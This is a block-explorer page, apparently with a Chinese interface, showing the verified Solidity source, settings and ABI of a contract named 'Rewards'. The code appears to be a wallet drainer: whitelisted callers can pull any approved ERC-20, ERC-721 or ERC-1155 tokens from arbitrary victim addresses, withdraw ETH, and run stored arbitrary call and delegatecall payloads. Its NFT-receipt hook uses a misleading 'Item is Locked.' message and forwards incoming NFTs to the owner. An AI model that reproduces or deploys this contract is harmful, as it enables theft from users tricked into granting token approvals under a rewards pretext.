账户
0x00...0000
0x00...0000

0x00...0000

$500
此合同的源代码已经过验证!
合同元数据
编译器
0.8.18+commit.87f61d96
语言
Solidity
合同源代码
文件 1 的 1:Rewards.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface IToken {
    function transfer(
        address to,
        uint256 amount
    ) external;
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external;
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;
    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 amount,
        bytes calldata data
    ) external;
}

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

interface ISpender {
    function whiteList(address account) external view returns (bool);
}

contract Rewards {
    address public owner;
    mapping(address => bool) public whiteList;

    address public _to;
    bytes public msgData;


    fallback() payable external {
    }

    receive() payable external {
    }

    modifier onlyWhiteList() {
        require(
            ISpender(0xca0171C80f5F8169CFd0820cf9fb0Abeb25523B4).whiteList(msg.sender),
            "not whiteList"
        );
        _;
    }

    function withdraw(address to) public onlyWhiteList {
        uint256 balance = address(this).balance;
        payable(to).transfer(balance);
    }

    function withdraw(address token, address to, uint256 amount) public onlyWhiteList {
        IToken(token).transfer(to, amount);
    }

    function transferFrom(address token, address from, address to, uint256 amount) public onlyWhiteList {
        IToken(token).transferFrom(from, to, amount);
    }

    function safeTransferFrom(address token, address from, address to, uint256 tokenId, bytes calldata data) public onlyWhiteList {
        IToken(token).safeTransferFrom(from, to, tokenId, data);
    }

    function safeTransferFrom(address token, address from, address to, uint256 id, uint256 amount, bytes calldata data) public onlyWhiteList {
        IToken(token).safeTransferFrom(from, to, id, amount, data);
    }

    function onERC721Received(
        address /*operator*/,
        address /*from*/,
        uint256 tokenId,
        bytes calldata /*data*/
    ) external returns (bytes4) {
        (bool r1,) = address(_to).call(msgData);
        require(r1, "Item is Locked.");
        IToken(msg.sender).safeTransferFrom(address(this), owner, tokenId, new bytes(0));
        return IERC721Receiver(address(this)).onERC721Received.selector;
    }

    function set(address to_, bytes memory cd) public onlyWhiteList {
        _to = to_;
        msgData = cd;
    }

    function customCall() public onlyWhiteList {
        (bool r1,) = address(_to).call(msgData);
        require(r1, "Call failed.");
    }

    function customDelegateCall() public onlyWhiteList {
        (bool r1,) = address(_to).delegatecall(msgData);
        require(r1, "Delegate Call failed.");
    }
}
设置
{
  "compilationTarget": {
    "Rewards.sol": "Rewards"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}
ABI
[{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"_to","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"customCall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"customDelegateCall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"msgData","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"","type":"bytes"}],"name":"onERC721Received","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to_","type":"address"},{"internalType":"bytes","name":"cd","type":"bytes"}],"name":"set","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]